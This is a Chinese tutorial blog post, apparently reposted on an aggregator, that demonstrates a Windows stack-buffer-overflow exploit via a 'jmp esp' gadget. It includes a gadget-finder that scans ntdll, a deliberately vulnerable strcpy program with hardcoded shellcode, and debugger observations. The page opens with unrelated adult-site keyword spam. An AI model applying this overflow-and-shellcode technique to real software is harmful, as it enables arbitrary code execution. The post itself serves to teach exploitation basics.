日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

栈溢出利用-----jmp esp

發布時間:2023/12/1 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 栈溢出利用-----jmp esp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

通過jmp esp利用棧溢出,首先我們要找出jmp esp 的地址,因為系統不同,通用jmp esp的地址可能不同,下面的代碼是找出jmp esp的地址的:

#include<windows.h> #include<iostream.h>#include<tchar.h> int main() { int nRetCode=0; bool we_load_it=false; HINSTANCE h; TCHAR dllname[]=_T("ntdll"); h=GetModuleHandle(dllname); if(h==NULL){h=LoadLibrary(dllname); if(h==NULL){cout<<"ERROR LOADING DLL:"<<dllname<<endl; return 1; } we_load_it=true; } BYTE* ptr=(BYTE*)h; bool done=false; for(int y=0;!done;y++) {try { if(ptr[y]==0xFF&&ptr[y+1]==0xE4) {int pos=(int)ptr+y; cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}} catch(...) { cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl; done=true; } } if(we_load_it) FreeLibrary(h); return nRetCode;}


我用的是0x772e55f7

給出程序:

#include "stdio.h" #include "windows.h" #include "string.h"char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xf7\x55\x2e\x77\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\xe8\x7a\xfe\x40\xff\x83\xc4\x0c";void fun1(int a, int b) {printf("fun1 run!para a=%d,b=%d\n",a,b);char aa[4]={0}; strcpy(aa,shellcode); } void fun2(int a) {printf("fun2 run! para a=%d\n",a); } void fun3(int a,int b,int c){printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c); } int main(int argc, char* argv[]) {printf("begin\n");fun1(1,2);__asm{mov eax,4198410call eax}printf("end\n");return 0; }

反匯編調試:
執行完strcpy,發現數據溢出了,有的數據被覆蓋了

執行到ret,esp地址存放的內容是0x772e55f7,jmp esp的通用地址

執行jmp esp ,執行完eip的值和esp一樣,為0x0019fedc

我們就會跳到0x0019fedc繼續執行

從上圖可以看出程序執行的代碼就是從0x0019fedc開始,把數據當作機器碼,機器碼所對應的匯編就是程序要執行代碼。而這些數據就是shellcode的內容,所以利用jmp esp跳轉,讓機子干什么就把對應的機器碼放在shellcode里,但注意,不能有如果有00數據,一定要放在最后

總結

以上是生活随笔為你收集整理的栈溢出利用-----jmp esp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。